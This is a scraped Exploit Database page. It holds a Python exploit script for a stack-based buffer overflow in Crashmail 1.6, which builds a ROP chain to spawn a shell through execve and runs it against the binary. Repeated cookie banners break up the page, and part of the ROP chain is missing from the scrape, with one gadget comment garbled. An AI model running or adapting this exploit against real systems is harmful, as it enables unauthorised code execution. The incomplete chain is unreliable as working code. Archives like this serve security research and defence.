EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

Cookiebot by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Show details

OK

Do not sell or share my personal information

Crashmail 1.6 - Stack-Based Buffer Overflow (ROP)

EDB-ID:
44331

CVE:
N/A

EDB Verified: ×

Author:
JUAN SACCO

Type:
LOCAL

Exploit: / {}

Cookiebot by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Show details >

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

```
# Exploit author: Juan Sacco <jsacco@exploitpack.com>
# Website: http://exploitpack.com
#
# Description: Crashmail is prone to a stack-based buffer overflow because
the application fails to perform adequate boundary checks on user supplied
input.
# Impact: An attacker could exploit this vulnerability to execute arbitrary
code in the context of the application. Failed exploit attempts may result
in a denial-of-service condition.
# Vendor homepage: http://ftnapps.sourceforge.net/crashmail.html
# Affected version: 1.6 ( Latest )

import os, subprocess
from struct import pack

p = lambda x : pack('I', x)
IMAGE_BASE_0 = 0x08048000 # ./crashmail
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

# Control of EIP at 216
# ROP chain: execve ( binsh )
# Static-linked
junk = 'A'*216 # Fill
```

Cookiebot by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Show details

```
ropchain += rebase_0(0x000e0e80) # 0x08128e80: pop ecx; push cs; adc
al, 0x41; ret;
ropchain += rebase_0(0x000e9068)
ropchain += rebase_0(0x000705aa) # 0x080b85aaop edx; ret;
ropchain += rebase_0(0x000e9068)
ropchain += rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;
ropchain += p(0xfffffff5)
ropchain += rebase_0(0x00051dc7) # 0x08099dc7: neg eax; ret;
ropchain += rebase_0(0x00070e80) # 0x080b8e80: int 0x80; ret;
evil_buffer = junk + ropchain

print "[*] Exploit Pack http://exploitpack.com - Author:
jsacco@exploitpack.com"
print "[*] Crashmail 1.6 - BoF ( ROP execve)"
print "[?] Payload can be read trough a file or STDIN"

try:
    subprocess.call(["./crashmail","SETTINGS", evil_buffer])
except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "[!] Crashmail not found"
    else:
        print "[*] Error executing exploit"
    raise
```

Tags:

Advisory/Source: Link

© EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES

OffSec Services Limited 2026. All rights reserved.

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Show details

Cookiebot by Usercentrics